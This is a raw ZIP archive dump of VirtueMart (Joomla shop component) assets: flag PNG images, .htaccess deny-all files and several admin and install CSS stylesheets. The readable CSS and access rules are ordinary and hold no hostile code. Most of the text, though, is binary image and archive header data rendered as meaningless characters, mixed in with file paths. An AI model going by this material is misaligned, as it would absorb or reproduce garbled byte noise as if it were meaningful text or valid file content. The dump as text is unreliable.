nIDAT(SMQKTQP>X>ҋVj+S7ACh5\ Z|rPY|,",R,{5]1 |gfA`ƀQɿ|G(75PQTcJg*Z7إ I&7tZ?e6@ 5+ P*T+8~5t=Y&.uΝK6Kaά~um{YCَ2k+  r6 C&Wf)ΣSk3i.%Ni嫍yKk_7MF= ڞG ϱB!t]J('w]FSLO>cazE(ib#M/D >b;HK%,xp`_k0;< gTd-=:LHJIENDB`PKs>\+com_virtuemart/assets/images/flag/pt-pt.pngnuW+APNG  IHDR XuPLTEb31#$12>>XFM b*U*` ic\l\R(com_virtuemart/assets/images/flag/km.pngnuW+APNG  IHDR XoPLTE &&5566::;;DDWWyy燇땕휜ﮮﱱﴴ/>gIFg |YSMIDATc` 0B b`fbeCᒓDUPVTQFqJHIɋKryyxyAB^xi.IENDB`PKs>\y&(com_virtuemart/assets/images/flag/eu.pngnuW+APNG  IHDR k= pHYs  7tEXtCommentCreated by Jose A. Reyero, freelance@reyero.netMIIDAT(c`Hcg@ct=`f[40HpBQG g)3ƔD6Y d5*,Va #+/?_R柌q/!bcKISD.f*h߸(rN$?lys?@0@a `@DWPg d€t K:_JƂjUaTIENDB`PKs>\t$%-com_virtuemart/assets/images/flag/zh-hans.pngnuW+APNG  IHDR k=sRGBIDAT(Sc)>v`6Hf)(u)[@T^ 4l0AnI bȅn2#O O "+D hn<⎲kuA`P@xG &"@*5@?!cgIENDB`PKs>\KQ&(com_virtuemart/assets/images/flag/tr.pngnuW+APNG  IHDR X?PLTE !%$+*+EOpxy譨7gIFg |YS2IDATc`0r2q 30p! p f~&4!>A&t' WL6IENDB`PKs>\-com_virtuemart/assets/images/flag/zh-hant.pngnuW+APNG  IHDR k=sRGBhIDAT(c``hP wx1Ƽ`0hL{0VVD V;$?Gm` bm3Cb@vE@IENDB`PKs>\ۺxyy(com_virtuemart/assets/images/flag/nl.pngnuW+APNG  IHDR |/ PLTE!F(4 pHYs  IDAT[cLr,Bc-IENDB`PKs>\R(com_virtuemart/assets/images/flag/da.pngnuW+APNG  IHDR  PLTE 3`gIFg |YSIDATcd``Կ$a(102H QdIENDB`PKs>\(com_virtuemart/assets/images/flag/se.pngnuW+APNG  IHDR \9ͳHPLTE86 76o*Uv)Oz)L|)K(F'@&:&8#&N"2>AI(Pw=x<x=dNgIFg |YS>IDATcq!*+&$%*. aiad -h0w))1{IENDB`PKs>\(com_virtuemart/assets/images/flag/sk.pngnuW+APNG  IHDR X`PLTE8:5: 3!7-O(&*+'V 4%8,>Tfe>PU}bFWK^Sb]uskx犕狕럧ʒ! pHYs  IIDAT70##r%dU$Rfq(=)^=PvțPk fIENDB`PKs>\r(com_virtuemart/assets/images/flag/tg.pngnuW+APNG  IHDR OG\e<(com_virtuemart/assets/images/flag/nb.pngnuW+APNG  IHDR 䅪 pHYs  2IDAT(cx Gg" Y1 B Q\.QA"YNlb!2IENDB`PKs>\A'(com_virtuemart/assets/images/flag/sl.pngnuW+APNG  IHDR OG9PLTEZ\Z"[$]o o9;]^坮㟰䪼ꬽ+3x pHYs  2IDATWcJa`AV&4`f* Bxk4IENDB`PKs>\2*ww(com_virtuemart/assets/images/flag/hu.pngnuW+APNG  IHDR ^ PLTE#,F1 pHYs  IDAT[c`Vv* R qͻIENDB`PKs>\](com_virtuemart/assets/images/flag/et.pngnuW+APNG  IHDR І pHYs  tEXtCreation Time08/15/08)W IDAT(c*=ZaGaFa%4{YIENDB`PKs>\0 00(com_virtuemart/assets/images/flag/hr.pngnuW+APNG  IHDR OG~PLTE)**!:&=*/+/,./1qJ|ylsnvrr{qssvvʈ̉킂: pHYs  XIDATc`LvN6l\\`(com_virtuemart/assets/images/flag/es.pngnuW+APNG  IHDR X`PLTE H)V [Vvupi|<ҙȗF˓YΡCzЬ3 Π2gIFg |YS\j'(com_virtuemart/assets/images/flag/eo.pngnuW+APNG  IHDR <PLTE##22ٟlQ pHYs  $IDAT[c`YjB3, rP^IENDB`PKs>\(com_virtuemart/assets/images/flag/pt.pngnuW+APNG  IHDR XuPLTEb31#$12>>XFM b*U*` ic\l\6(com_virtuemart/assets/images/flag/th.pngnuW+APNG  IHDR \9ͳ PLTE$}y pHYs  IDATcdb@ T`$(@Х$EIENDB`PKs>\tڎ(com_virtuemart/assets/images/flag/gb.pngnuW+APNG  IHDR `F'PLTE$}=&E+Pbfvv&gIFg |YSVIDATc<ٚ1Փ!r`Ba5Kl abs0`P9(zmfk0&x `is<1% *sIENDB`PKs>\)+com_virtuemart/assets/images/flag/.htaccessnuW+A Order allow,deny Deny from all PKs>\w!(com_virtuemart/assets/images/flag/gl.pngnuW+APNG  IHDR XPLTEc)h/m-qOoq;r3vJxr)|9xb3*R{j̢i5W>N q:Ƕu1sɩq*U:=%I`J6 "'ep⬲IENDB`PKs>\ \t(com_virtuemart/assets/images/flag/is.pngnuW+APNG  IHDR v K!PLTE855\jH  (com_virtuemart/assets/images/flag/sq.pngnuW+APNG  IHDR cPLTE$%&: ; < PVWfgj k o |           "#&&uugIFg |YSRIDATcP@ 8DeddDٹy8DDYDX",H"BBH"RL|RH"rr$Bd1)LIENDB`PKs>\CZtt(com_virtuemart/assets/images/flag/it.pngnuW+APNG  IHDR |/ PLTE+7F/E pHYs  IDATcZ@1 R-IENDB`PKs>\[-(com_virtuemart/assets/images/flag/sv.pngnuW+APNG  IHDR rPLTE[b2s~>xxJ}rm_gIFg |YS&IDATc```Ls`L%% % P`Hd&U`$IENDB`PKs>\@C(com_virtuemart/assets/images/flag/ca.pngnuW+APNG  IHDR  G pHYs  8IDAT(cD z>&]^N=wXIp#rCN?d?ЩIENDB`PKs>\e<(com_virtuemart/assets/images/flag/nn.pngnuW+APNG  IHDR 䅪 pHYs  2IDAT(cx Gg" Y1 B Q\.QA"YNlb!2IENDB`PKs>\ Eu[[(com_virtuemart/assets/images/flag/tl.pngnuW+APNG  IHDR x0}u pHYs   IDAT8c~͈m,V,_e--x̮3VR$y ;d߇-`uL]?(5@ ?ߺ5X}ީ/?'F2F fH w@EW`Hw?'A2G2E C{R`>]IENDB`PKs>\( (com_virtuemart/assets/images/flag/cs.pngnuW+APNG  IHDR <*PLTE#$;E~G8bS5]#Au$T&ULt` + pHYs  ;IDAT[cs XVga,n8x e2R+@ JTL,"P|- IENDB`PKs>\|uu(com_virtuemart/assets/images/flag/ga.pngnuW+APNG  IHDR ^ PLTEc=`Y pHYs  IDATc``X*4ܡ萭IENDB`PKs>\,com_virtuemart/assets/images/flag/index.htmlnuW+APKs>\ qq(com_virtuemart/assets/images/flag/pl.pngnuW+APNG  IHDR PLTE<5 pHYs  IDAT[c6lX5S eOIENDB`PKs>\4$(com_virtuemart/assets/images/flag/fi.pngnuW+APNG  IHDR "PLTE5 =M-YUxd" pHYs  "IDATcHKKePKLg``. "IENDB`PKs>\ 99(com_virtuemart/assets/images/flag/br.pngnuW+APNG  IHDR PLTE(o2j0v3!x7"g5#z6$w5&w7%~;)C.rY?UaG][FSIRLSMSO^W^[? =;qq9@/*/P+_'AKΠΠ ּ =gIFg |YScIDATcA PZTNUDRCKCIDLI[QI &"&,)PҒRH2q0)@E@T8yա`&(#Lb;6" IENDB`PKs>\X,(com_virtuemart/assets/images/flag/lv.pngnuW+APNG  IHDR І pHYs  tEXtCreation Time08/15/08)W IDAT(chO-0j"a7Faʬ(5,IENDB`PKs>\wtt(com_virtuemart/assets/images/flag/fr.pngnuW+APNG  IHDR |/ PLTE *AE pHYs  IDATc`Z@1 ;-^N$IENDB`PKs>\~oo(com_virtuemart/assets/images/flag/ro.pngnuW+APNG  IHDR |/ PLTE+&MͭgIFg |YSIDATc`Z@1 ;-^N$IENDB`PKs>\G3(com_virtuemart/assets/images/flag/el.pngnuW+APNG  IHDR <'PLTE,9HT`jcldnhq|ͫ֯ؼH! pHYs  \vv(com_virtuemart/assets/images/flag/bg.pngnuW+APNG  IHDR buh PLTE&n'C pHYs  IDAT[cY, je1)m}IENDB`PKs>\X(com_virtuemart/assets/images/flag/ja.pngnuW+APNG  IHDR <PLTE&'߀ҏ pHYs  .IDAT[cV) a00YA h,,B)vZ9vIENDB`PKs>\COoo(com_virtuemart/assets/images/flag/de.pngnuW+APNG  IHDR buh PLTE"(gIFg |YSIDATcaL24q|fIENDB`PKs>\/N kk(com_virtuemart/assets/images/flag/id.pngnuW+APNG  IHDR o pHYs  IDAT(c8'a :J` :^,IENDB`PKs>\t$%*com_virtuemart/assets/images/flag/hans.pngnuW+APNG  IHDR k=sRGBIDAT(Sc)>v`6Hf)(u)[@T^ 4l0AnI bȅn2#O O "+D hn<⎲kuA`P@xG &"@*5@?!cgIENDB`PKs>\*com_virtuemart/assets/images/flag/hant.pngnuW+APNG  IHDR k=sRGBhIDAT(c``hP wx1Ƽ`0hL{0VVD V;$?Gm` bm3Cb@vE@IENDB`PKs>\ 99+com_virtuemart/assets/images/flag/pt-br.pngnuW+APNG  IHDR PLTE(o2j0v3!x7"g5#z6$w5&w7%~;)C.rY?UaG][FSIRLSMSO^W^[? =;qq9@/*/P+_'AKΠΠ ּ =gIFg |YScIDATcA PZTNUDRCKCIDLI[QI &"&,)PҒRH2q0)@E@T8yա`&(#Lb;6" IENDB`PKs>\%)com_virtuemart/assets/images/flag/sco.pngnuW+APNG  IHDR "!PLTEr w"L~ pHYs  AIDAT[cXUVX20Wtd`BB eYU V533 ڐ Ca1&kIENDB`PKs>\g9>(com_virtuemart/assets/images/flag/he.pngnuW+APNG  IHDR v KPLTE@"YDs[֛朵}g pHYs  -IDAT[c @@2`Y QR e7GbP0n(IIENDB`PKs>\ll(com_virtuemart/assets/images/flag/uk.pngnuW+APNG  IHDR UPLTE:uͶgIFg |YSIDATc`? uHqIENDB`PKs>\UMDD(com_virtuemart/assets/images/flag/fa.pngnuW+APNG  IHDR PLTEAACCDDEEGGHHIIJJKKLLLLMMQQ#@zz_t_uavbubwbwcydxezdxgzh{h|i}i}j~k`+ pHYs  ZIDATWcHPWPQbЇmu8.!"!˯g30rsp20s2pp3P y'},IENDB`PKs>\m(com_virtuemart/assets/images/flag/vi.pngnuW+APNG  IHDR XHPLTE&&%&%/#<#<#?"D"H"I"v gIFg |YSBIDATc` bpٹ898ّE13jDaebeAb<IENDB`PKs>\I1yy(com_virtuemart/assets/images/flag/ru.pngnuW+APNG  IHDR |/ PLTE/.. pHYs  IDAT[cX 0I\ 0Ic-NIENDB`PKs>\vhl(com_virtuemart/assets/images/flag/fo.pngnuW+APNG  IHDR v K*PLTE,//63=>VHl#(KMXwሽb pHYs  2IDAT[c{] {@؈ XVL'DYIENDB`PKs>\O]ww(com_virtuemart/assets/images/flag/lb.pngnuW+APNG  IHDR buh PLTE+-# pHYs  IDATcaLr6+=IENDB`PKs>\r%com_virtuemart/assets/images/hide.pngnuW+APNG  IHDR+jtEXtSoftwareAdobe ImageReadyqe<wIDATxϏPǧRv{ zHbօ38GģG\U$qLH)ḅe m].lM^̼73}|>^RPx(+ 3Iu6p{jxGTe-Xo$ CU/F6x\GQ#,com_virtuemart/assets/css/toolbar_images.cssnuW+A/* 16x16 images */ /* 32x32 images */ .icon-32-lock{ background: url(../images/icon_32/icon-32-lock.png); } /* 48x48 images and joomla overide to use it*/ #cpanel span.vmicon48 { display: inline-block !important; height: 48px; width: 48px;margin-top: 10px;} #cpanel div.icon { cursor: pointer; } .vmicon48, .icon-48-head{background-image: url(../images/icone48.png) ; background-repeat: no-repeat !important; display :inline-block ;} .vm_shop_categories_48{ background-position: 0px 0px; height: 43px; } .icon-48-vm_calc_48{ background-position: 0px -53px; height: 42px; } .icon-48-vm_config_48, .vm_shop_configuration_48, .vm_install_48{background-position: 0px -105px; height: 35px; } .icon-48-vm_country_48, .vm_country_48{ background-position: 0px -150px; height: 40px; } .icon-48-vm_currency_48{ background-position: 0px -200px; height: 41px;} .icon-48-vm_custom_48{ background-position: 0px -352px; height: 40px;} .icon-48-vm_manufacturer_48, .icon-48-vm_manufacturercategories_48{ background-position: 0px -299px; height: 43px; } .icon-48-vm_report_48{ background-position: 0px -453px; height: 42px;} .icon-48-vm_ratings_48{ background-position: 0px -505px; height: 38px;;} .vm_shop_help_48{background-position: 0px -610px; height: 41px;} .icon-48-vm_orders_48, .vm_shop_orders_48{ background-position: 0px -402px; height: 41px; } .icon-48-vm_paymentmethod_48, .vm_shop_payment_48{ background-position: 0px -661px; height: 39px; } .icon-48-vm_product_48, .vm_shop_products_48{ background-position: 0px -710px; height: 39px;} .icon-48-vm_user_48, .vm_shop_users_48{background-position: 0px -759px; height: 37px; } .icon-48-vm_shoppergroup_48{background-position: 0px -806px; height: 38px; } .icon-48-vm_shipmentmethod_48{ background-position: 0px -553px; height: 47px; } .vm_shop_mart_48, .icon-48-vm_shop_mart_48{background-position: 0px -251px; height: 38px; } .vm_cpanel_48{background-position: 0px -854px; height: 34px; } PKs>\Ze..%com_virtuemart/assets/css/install.cssnuW+A/** * @version $Id: install.css 2225 2010-01-19 23:18:41Z rolandd $ * @package Mambo_4.5.1 * @copyright (C) 2000 - 2004 Miro International Pty Ltd * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL * Mambo is Free Software */ body { margin: 0px; padding: 0px; color : #333; background-color : #FFF; font-size : 11px; font-family : Arial, Helvetica, sans-serif; } #wrapper { border: 0px; margin: 0px; margin-left: auto; margin-right: auto; padding: 0px; } #stepbar { background-color: #F1F3F5; width: 170px !important; width: 170px; height: 400px; font-size: 11px; float: left; text-align: left; } #step { background: url(install_logo.png) no-repeat; font-size: 30px; font-weight: bold; text-align: left; color: #666666; padding: 10px 0px 20px 40px; white-space: nowrap; position: relative; float: left; } .step-on { color: #ff9900; background: #30559C; font-weight: bold; font-size: 13px; padding: 10px; border: 1px solid #cccccc; margin-bottom: 2px; } .step-off { font-size: 13px; color: #999999; font-weight: bold; padding: 10px; border: 1px solid #cccccc; margin-bottom: 2px; } #right { float: right; width: 555px !important; width: 545px; border-left: 1px solid #cccccc; padding-left: 10px; } #break { height: 20px; } .licensetext { text-align: left; } .license { padding: 0px; width: 530px; height: 300px; } .license-form { float: left; } .install { margin-left: auto; margin-right: auto; margin-top: 3em; margin-bottom: 3em; padding: 10px; border: 1px solid #cccccc; width: 750px; background: #F1F3F5; } .install h1 { font-size: 15px; font-weight: bold; color: #FF9900; padding: 10px 10px 4px 0px; text-align: left; border-bottom: 1px solid #FF9900; margin-bottom: 10px; } .install-form { position: relative; text-align: left; float: right; width: 69%; } .install-text { position: relative; text-align: left; width: 30%; float: left; } .form-block { border: 1px solid #cccccc; background: #E9ECEF; padding-top: 5px; padding-left: 5px; padding-bottom: 5px; padding-right: 5px; } .left { position: relative; text-align: left; float: left; width: 50%; } .right { position: relative; text-align: left; float: right; width: 50%; } .far-right { position: relative; text-align: right; float: right; } .far-left { position: relative; text-align: left; float: left; } .clr { clear:both; } .ctr { text-align: center; } .button { border : solid 1px #cccccc; background: #E9ECEF; color : #666666; font-weight : bold; font-size : 11px; padding: 4px; } table.content { width: 80%; } table.content td { color : #333333; font-size: 11px; width: 50%; } table.content2 { width: 90%; } table.content2 td { color : #333333; font-size: 11px; } .toggle { font-weight: bold; } /* old stuff */ a { color : #FF9900; text-decoration : none; } a:hover { color : #999999; text-decoration : underline; } a:active { color : #FF6600; text-decoration : underline; } .inputbox { color: blue; font-family: Arial, Helvetica, sans-serif; z-index: -3; font-size: 11px; } .small { color : #333; font-size : 10px; } .error { color : #cc0000; font-size : 12px; font-weight : bold; padding-top: 10px; padding-bottom: 10px; } select.options, input.options { font-size: 8pt; border: 1px solid #999; } form { margin: 0px 0px 0px 0px; } .dottedline { border-bottom: 1px solid #333; } .installheader { color : #FFF; font-size : 24px; } textarea { color : #0000dd; font-family : Arial; font-size : 11px; border: 1px; } PKs>\)#com_virtuemart/assets/css/.htaccessnuW+A Order allow,deny Deny from all PKs>\℘ com_virtuemart/assets/css/vm.cssnuW+A.icon-32-vm_new_32 { background: url(../images/icon_32/vm_new_32.png) no-repeat left; } .icon-48-vm_config_48 { background: url(../images/icon_48/vm_config_48.png) no-repeat left; } .icon-48-vm_user_48 { background: url(../images/icon_48/vm_user_48.png) no-repeat left; } .icon-48-vm_usergroup_48 { background: url(../images/icon_48/vm_shoppers_48.png) no-repeat left; } .icon-48-vm_module_48 { background: url(../images/icon_48/vm_modules_48.png) no-repeat left; } .icon-48-vm_store_48 { background: url(../images/icon_48/vm_store_48.png) no-repeat left; } .icon-48-vm_payment_48 { background: url(../images/icon_48/vm_payment_48.png) no-repeat left; } .icon-48-vm_credit_48 { background: url(../images/icon_48/vm_credit_48.png) no-repeat left; } .icon-48-vm_product_48 { background: url(../images/icon_48/vm_product_48.png) no-repeat left; } .icon-48-vm_categories_48 { background: url(../images/icon_48/vm_categories_48.png) no-repeat left; } .icon-48-vm_countries_48 { background: url(../images/icon_48/vm_countries_48.png) no-repeat left; } .icon-48-vm_currency_48 { background: url(../images/icon_48/vm_currency_48.png) no-repeat left; } .icon-48-vm_orders_48 { background: url(../images/icon_48/vm_orders_48.png) no-repeat left; } .icon-48-vm_vendors_48 { background: url(../images/icon_48/vm_shop_vendors_48.png) no-repeat left; } .icon-48-vm_tax_48 { background: url(../images/icon_48/vm_tax_48.png) no-repeat left; } .icon-48-vm_ups_48 { background: url(../images/icon_48/vm_ups_48.png) no-repeat left; } .icon-48-vm_shipment_rates_48 { background: url(../images/icon_48/vm_shipment_rates_48.gif) no-repeat left; } .icon-48-vm_shop_users_48 { background: url(../images/icon_48/vm_shop_users_48.png) no-repeat left; } .icon-48-vm_manufacturer_48 { background: url(../images/icon_48/vm_manufacturer_48.png) no-repeat left; } .icon-48-vm_product_files_48 { background: url(../images/icon_48/vm_product_files_48.png) no-repeat left; } .icon-48-vm_coupon_48 { background: url(../images/icon_48/vm_coupon_48.png) no-repeat left; }PKs>\.55&com_virtuemart/assets/css/admin_ui.cssnuW+A/* VirtueMart Admin Area */ .virtuemart-admin-area {border: hidden #b4b4b4 1px; -moz-border-radius-bottomleft: 6px; -moz-border-radius-bottomright: 6px; -webkit-border-bottom-left-radius: 6px; -webkit-border-bottom-right-radius: 6px; overflow: visible; background: url(../images/admin_ui/container_bg_blue.png) repeat-y scroll 0 0 ;} * html .virtuemart-admin-area { /*IE6 only*/ overflow: visible;height: 1px;} .virtuemart-admin-area .menu-wrapper {width:190px ;float: left;} /*.virtuemart-admin-area #admin-content-wrapper {margin-left: auto;overflow:visible} /*.virtuemart-admin-area .menu-wrapper, .virtuemart-admin-area #admin-content-wrapper {padding-bottom: 16000px;margin-bottom: -16000px;}*/ .virtuemart-admin-area #admin-content-wrapper .admin-content {margin: 0;padding: 0;overflow: auto; background: left repeat-y #fff;border-left: solid #b4b4b4 1px;height:540px;} .virtuemart-admin-area #admin-content-wrapper .admin-content {height:auto;min-height: 540px;} #header { background: url(../images/admin_ui/header_bg.png) repeat-x scroll 0 0 #F0F0F0;padding:3px;padding-left: 10px;padding-right: 10px;} .ratingbox{position:relative;display:block;width:120px;height:24px;background:url(../../../../../components/com_virtuemart/assets/images/color-stars.png) repeat-x scroll 0 bottom transparent} .ratingbox span{background:url(../../../../../components/com_virtuemart/assets/images/color-stars.png) repeat-x;display:block;width:1%;height:24px;position:absolute} .stars-orange{background-position:0 0 !important;} .stars-red{background-position:0 -54px !important;} .stars-green{background-position:0 -108px !important; } .stars-blue{background-position:0 -162px !important;} .stars-purple{background-position:0 -216px !important;} /* Overwriting Joomla Admin Template */ /* Toolbar */ #element-box, #toolbar-box, #submenu-box {padding: 0 !important; } #element-box .t, #element-box .b {display: none;} #content-box #element-box .m, #content-box .m {border: none;padding: 0px;background: none;} #content-box #toolbar-box {border-top: solid #b4b4b4 1px;border-left: solid #b4b4b4 1px;border-right: solid #b4b4b4 1px;margin: 0px;padding:0;-moz-border-radius: 6px 6px 0 0; -webkit-border-radius:6px 6px 0 0;background: #fff url(../images/admin_ui/head_bg.png) center center repeat-x;} #content-box #toolbar-box .m {border: solid #fff 1px;padding: 7px 10px 4px 10px;background: none repeat scroll 0 0 transparent; -moz-border-radius: 6px 6px 0 0; -webkit-border-top-left-radius:6px; -webkit-border-radius:6px 6px 0 0;text-shadow: 0px -1px 1px #fff;} #content-box #toolbar-box a.toolbar {border: none;} #content-box #toolbar-box .m .header {color: #444444;font-weight: normal;padding: 0px 0px 0px 60px;margin: 3px 0px 0px 0px;background-position: left center;background-repeat: no-repeat;} #content-box #toolbar-box .t, #content-box #toolbar-box .b {display: none;} .bartext { display: block;font-size: 12px;font-weight: bold;line-height: 32px;vertical-align: inherit;white-space: nowrap;width: auto !important;} /* System Messages overide */ #system-message {margin: 0px !important;overflow: auto;} #system-message dd.message {background: #4693BB url(../images/admin_ui/saved_background.png) top repeat-x ; max-height: 400px; overflow: auto;} #system-message dd.message ul {color: #000; background: url("../images/icon_32/information.png") no-repeat 8px center transparent;} #system-message dd.message ul ,#system-message dd.error ul,#system-message dd.notice ul{margin: 0px; border-bottom: 1px solid #84A7DB !important; border-top: 0px !important;;} /* System Messages VM2 */ #system-message dt.save,#system-message dt.remove,#system-message dt.cancel {display: none;} /* info message in dark grey */ #system-message dd.remove,#system-message dd.save,#system-message dd.cancel {color: #F4F6F8; background: #7c7d7f url(../images/admin_ui/tabs-ul-background.png) top repeat-x !important;} /* message in RED */ dl#system-message dd.error,l#system-message dd ul .vmdebug { background: #ffffff url(../images/admin_ui/save_bg.png) top repeat !important;} /* message in RED */ dl#system-message dd.notice { background: #eee url(../images/admin_ui/header_bg.png) top repeat-x !important;} /* message icons */ #system-message dd.message ul {background: url("../images/icon_32/information.png") no-repeat scroll 8px center transparent !important;} #system-message dd.notice ul {background: url("../images/icon_32/notice.png") no-repeat scroll 8px center transparent !important;} #system-message dd.remove ul {background: url("../images/icon_32/bin.png") no-repeat scroll 8px center transparent !important;} #system-message dd.save ul {background: url("../images/icon_32/disk.png") no-repeat scroll 8px center transparent !important;} #system-message dd.cancel ul {background: url("../images/icon_32/cancel.png") no-repeat scroll 8px center transparent !important;} #system-message dd ul .vmdebug{background: url("../images/icon_32/elements_16.png") no-repeat scroll 0px top transparent !important;display: block;} #system-message dd.error ul {background: url("../images/icon_32/exclamation.png") no-repeat scroll 8px center transparent !important;} fieldset input,fieldset textarea,fieldset select,fieldset img,fieldset button{float:left;width:auto;margin:5px 5px 5px 0} input.readonly{ border: 0 none;} /*.adminform {border: 0 none;}*/ .adminform input.readonly{ text-align:right; border: 0 none; font-size: 0.909em;font-weight: normal; color:#000; width:75px } /* vmdebug */ .vmdebug pre{ padding-left: 32px;} .adminform th{text-align: right!important;} dl#system-message dd .vmdebug { font-size:10px; } /* Fieldset */ .virtuemart-admin-area fieldset {border-radius: 6px;-moz-border-radius: 6px;-webkit-border-radius: 6px;} .virtuemart-admin-area fieldset legend {padding: 0px 10px;} /* Inputs */ .virtuemart-admin-area fieldset input {float: none;clear: none;display: inline-block;} .virtuemart-admin-area fieldset label, .virtuemart-admin-area fieldset.adminform label, .virtuemart-admin-area fieldset.adminform span.faux-label {float: none;clear: none;display: inline-block;min-width: 0px;} .virtuemart-admin-area div.tabs {margin-bottom: 240px;} textarea {width: 100%;} /*.datepicker{width: 60px;} seems unused*/ .translator { border-left: 4px solid #1FBE42; padding-left: 8px ; } /* Tabs */ /* The Navigation Area */ /*#admin-ui-tabs {overflow: visible !important;}*/ #admin-ui-tabs ul#tabs {list-style-type:none;margin: 0px;padding: 0px ;background: #7c7d7f url(../images/admin_ui/tabs-ul-background.png) bottom repeat-x;} #admin-ui-tabs ul#tabs li {vertical-align: top;color: #FFFFFF;cursor: pointer;display: inline-block;vertical-align: middle;font-size: 12px;height: 32px;letter-spacing: 1px;padding: 5px 0 0 0;text-align: center;text-shadow: 0 -1px 1px #000000;} #admin-ui-tabs ul#tabs li span{ line-height: 12px;padding-top: 0px;position: relative;vertical-align: middle;} #admin-ui-tabs ul#tabs li.current {background: #fff url(../images/admin_ui/tabs-li-background.png) top repeat-x;color: #444444;text-shadow: 0px -1px 1px #fff;-moz-border-radius-topleft: 6px;-moz-border-radius-topright: 6px;-webkit-border-top-left-radius: 6px;-webkit-border-top-right-radius: 6px;-moz-box-shadow: 0px -1px 2px #3f3f40;cursor: default;border: 0 none;} /* The Content Area */ /*#admin-content {overflow: visible;} #admin-ui-tabs {overflow: visible !important;}*/ /*#admin-ui-tabs .tabs {padding: 10px 1px 10px; overflow: visible !important;}*/ #admin-ui-tabs .tabs {padding: 10px 1px 10px; overflow: visible;} /*#admin-ui-tabs .tabs table {overflow: auto !important;}*/ /* do not change the line below !!! */ #admin-ui-tabs .dyn-tabs {overflow:auto;display:none;} /* Table */ table.adminlist .right{text-align: right;} /* Admin Menu */ #admin-ui-menu {border-bottom:1px solid #94B1CF;} #admin-ui-menu h3.menu-title {background: url("../images/admin_ui/page_bg_blue.png") repeat-x scroll center top #888;cursor:pointer;border-top: 1px solid #94B1CF;margin: 0px;padding: 6px 20px;color: #fff;font-size: 13px;font-weight: normal;color: #333;} .menu-vmlogo {background: url("../images/vm_logo.png") no-repeat scroll center bottom #707174;color: #333333;cursor: pointer;font-size: 13px;font-weight: normal;height: 30px;margin: 0;padding: 0;} .menu-notice { margin: 35px;padding: 5px;text-align: center;} .menu-notice a:link ,.menu-notice a span {color :#000 ;} #admin-ui-menu h3.current,#admin-ui-menu h3.menu-title:hover { background:url("../images/admin_ui/tabs-ul-background.png") repeat-x scroll center bottom #7C7D7F; color :#efefef ; } #admin-ui-menu .menu-list {border-top: 1px solid #94B1CF;overflow: hidden !important;} #admin-ui-menu .menu-list ul {margin: 0px;padding: 4px 4px 0px 10px;background:none repeat scroll 0 0 #F7F7F7;border-bottom: 1px solid #888888;} #admin-ui-menu .menu-list ul li {list-style: none;} #admin-ui-menu .menu-list ul li a {color: #000000;display: block;font-size: 12px;margin: 12px 0;text-decoration: none; opacity : 0.8; -moz-opacity : 0.8; -ms-filter: "alpha(opacity=90)"; /* IE 8 */ filter : alpha(opacity=90); /* IE < 8 */ } #admin-ui-menu .menu-list ul li a:hover {color: #888; opacity :1;-moz-opacity : 1; -ms-filter: "alpha(opacity=100)"; /* IE 8 */ filter : alpha(opacity=100); /* IE < 8 */ } #admin-ui-tabs .not-active .hasTip { opacity : 0.5; -moz-opacity : 0.5; -ms-filter: "alpha(opacity=50)"; /* IE 8 */ filter : alpha(opacity=50); /* IE < 8 */ font-weight: normal; } /*//////////////////////////////////// ////////////// Basics //////////////// ////////////////////////////////////*/ .inline {display: inline-block;vertical-align: middle;} .clear {clear: both;} .floatleft {float: left;} .floatright{float: right;} .center{text-align: center} .right {text-align: right;} /*//////////////////////////////////// ///////////// All Width`s //////////// ////////////////////////////////////*/ .width1{width:1%}.width2{width:2%}.width3{width:3%}.width4{width:4%}.width5{width:5%}.width6{width:6%}.width7{width:7%}.width8{width:8%}.width9{width:9%}.width10{width:10%}.width11{width:11%}.width12{width:12%}.width13{width:13%}.width14{width:14%}.width15{width:15%}.width16{width:16%}.width17{width:17%}.width18{width:18%}.width19{width:19%}.width20{width:20%}.width21{width:21%}.width22{width:22%}.width23{width:23%}.width24{width:24%}.width25{width:25%}.width26{width:26%}.width27{width:27%}.width28{width:28%}.width29{width:29%}.width30{width:30%}.width31{width:31%}.width32{width:32%}.width33{width:33%}.width34{width:34%}.width35{width:35%}.width36{width:36%}.width37{width:37%}.width38{width:38%}.width39{width:39%}.width40{width:40%}.width41{width:41%}.width42{width:42%}.width43{width:43%}.width44{width:44%}.width45{width:45%}.width46{width:46%}.width47{width:47%}.width48{width:48%}.width49{width:49%}.width50{width:50%}.width51{width:51%}.width52{width:52%}.width53{width:53%}.width54{width:54%}.width55{width:55%}.width56{width:56%}.width57{width:57%}.width58{width:58%}.width59{width:59%}.width60{width:60%}.width61{width:61%}.width62{width:62%}.width63{width:63%}.width64{width:64%}.width65{width:65%}.width66{width:66%}.width67{width:67%}.width68{width:68%}.width69{width:69%}.width70{width:70%}.width71{width:71%}.width72{width:72%}.width73{width:73%}.width74{width:74%}.width75{width:75%}.width76{width:76%}.width77{width:77%}.width78{width:78%}.width79{width:79%}.width80{width:80%}.width81{width:81%}.width82{width:82%}.width83{width:83%}.width84{width:84%}.width85{width:85%}.width86{width:86%}.width87{width:87%}.width88{width:88%}.width89{width:89%}.width90{width:90%}.width91{width:91%}.width92{width:92%}.width93{width:93%}.width94{width:94%}.width95{width:95%}.width96{width:96%}.width97{width:97%}.width98{width:98%}.width99{width:99%}.width100{width:100%} /* Icons */ .print_32, .icon-32-print {background: url(../images/icon_32/printer.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} .invoice_32, .invoice-32-print {background: url(../images/icon_32/invoice.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} .invoicenew_32, .invoice-32-print {background: url(../images/icon_32/invoicenew.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} .deliverynote_32, .deliverynote-32-print {background: url(../images/icon_32/deliverynote.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} .deliverynotenew_32, .deliverynote-32-print {background: url(../images/icon_32/deliverynotenew.png) no-repeat transparent; float:left;height: 32px;margin: auto;text-align: center;width: 32px;} #limit {width:60px;} /* jqeury ui autocomplete */ .ui-widget{margin-top:2em} .ui-widget-header,.ui-widget-content{padding:.5em 1em} .ui-widget-header h2{margin:0;padding:0} .ui-autocomplete{width:600px;height:300px} .ui-autocomplete li{background:none repeat scroll 0 0 #FFF;display:inline;float:left;list-style:none outside none;position:relative;margin:0;padding:0} .vmpayment_description,.vmshipment_description{margin-left:2px} #plugin-Container{display:table} .vm2-modallink{height:16px;margin-left:3px;width:16px;display:inline-block;background:url(../images/admin_ui/icon_external_link.gif) no-repeat scroll left top transparent} 